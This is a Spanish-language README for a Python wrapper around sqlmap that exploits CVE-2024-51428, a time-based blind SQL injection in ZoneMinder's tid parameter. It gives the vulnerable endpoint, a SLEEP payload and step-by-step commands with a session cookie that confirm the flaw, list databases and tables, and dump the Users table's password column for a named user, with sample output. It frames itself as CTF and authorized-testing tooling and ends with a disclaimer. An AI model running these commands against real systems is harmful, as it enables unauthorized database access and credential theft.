
Wrapper en Python para explotar CVE-2024-51428 en ZoneMinder usando Inyección SQL Ciega con sqlmap, automatizando la enumeración de bases de datos, tablas y extracción de datos con una salida limpia.
Wrapper de Python para sqlmap diseñado para explotar CVE-2024-51428 en ZoneMinder.
Esta herramienta automatiza la detección y explotación de una inyección SQL ciega, manteniendo una salida limpia y centrada en los datos útiles.
El script oculta los registros de sqlmap y solo muestra información relevante como:
Esto hace que la herramienta sea ideal para entornos CTF, demostraciones y pruebas de seguridad.
CVE: CVE-2024-51428
Tipo: Inyección SQL Ciega
Software afectado: ZoneMinder
Vector de ataque: Parámetro HTTP GET
Parámetro: tid
La vulnerabilidad existe en el siguiente endpoint:
/zm/index.php?view=request&request=event&action=removetag&tid=
El parámetro tid no se sanitiza correctamente antes de usarse en una consulta a la base de datos, lo que permite a los atacantes inyectar consultas SQL.
La técnica de explotación utilizada es inyección SQL ciega basada en tiempo.
Ejemplo de payload descubierto por sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
Este payload obliga a la base de datos a dormir si la consulta se ejecuta correctamente, confirmando la presencia de la inyección SQL.
Instala sqlmap si es necesario:
sudo apt install sqlmap
Sintaxis básica:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
Con este comando comprobamos si es vulnerable o no
Ejemplo:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
El exploit requiere una cookie de sesión válida de ZoneMinder.
Pasos:
Application → Cookies
ZMSESSID
-cEjemplo:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Ejemplo de salida:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Ejemplo de salida:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Ejemplo de salida:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Ejemplo:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
Puedes filtrar filas usando:
-ff <COLUMN> <VALUE>
Ejemplo:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
SQL equivalente:
WHERE Username='mark'
Ejemplo:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Comando interno de sqlmap:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
El script actúa como un envoltorio alrededor de sqlmap.
Pasos realizados internamente:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
Esta herramienta fue creada para:
Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
El autor no es responsable del mal uso de esta herramienta.
Siempre obtén la autorización adecuada antes de probar cualquier sistema.
Security Research / CTF tooling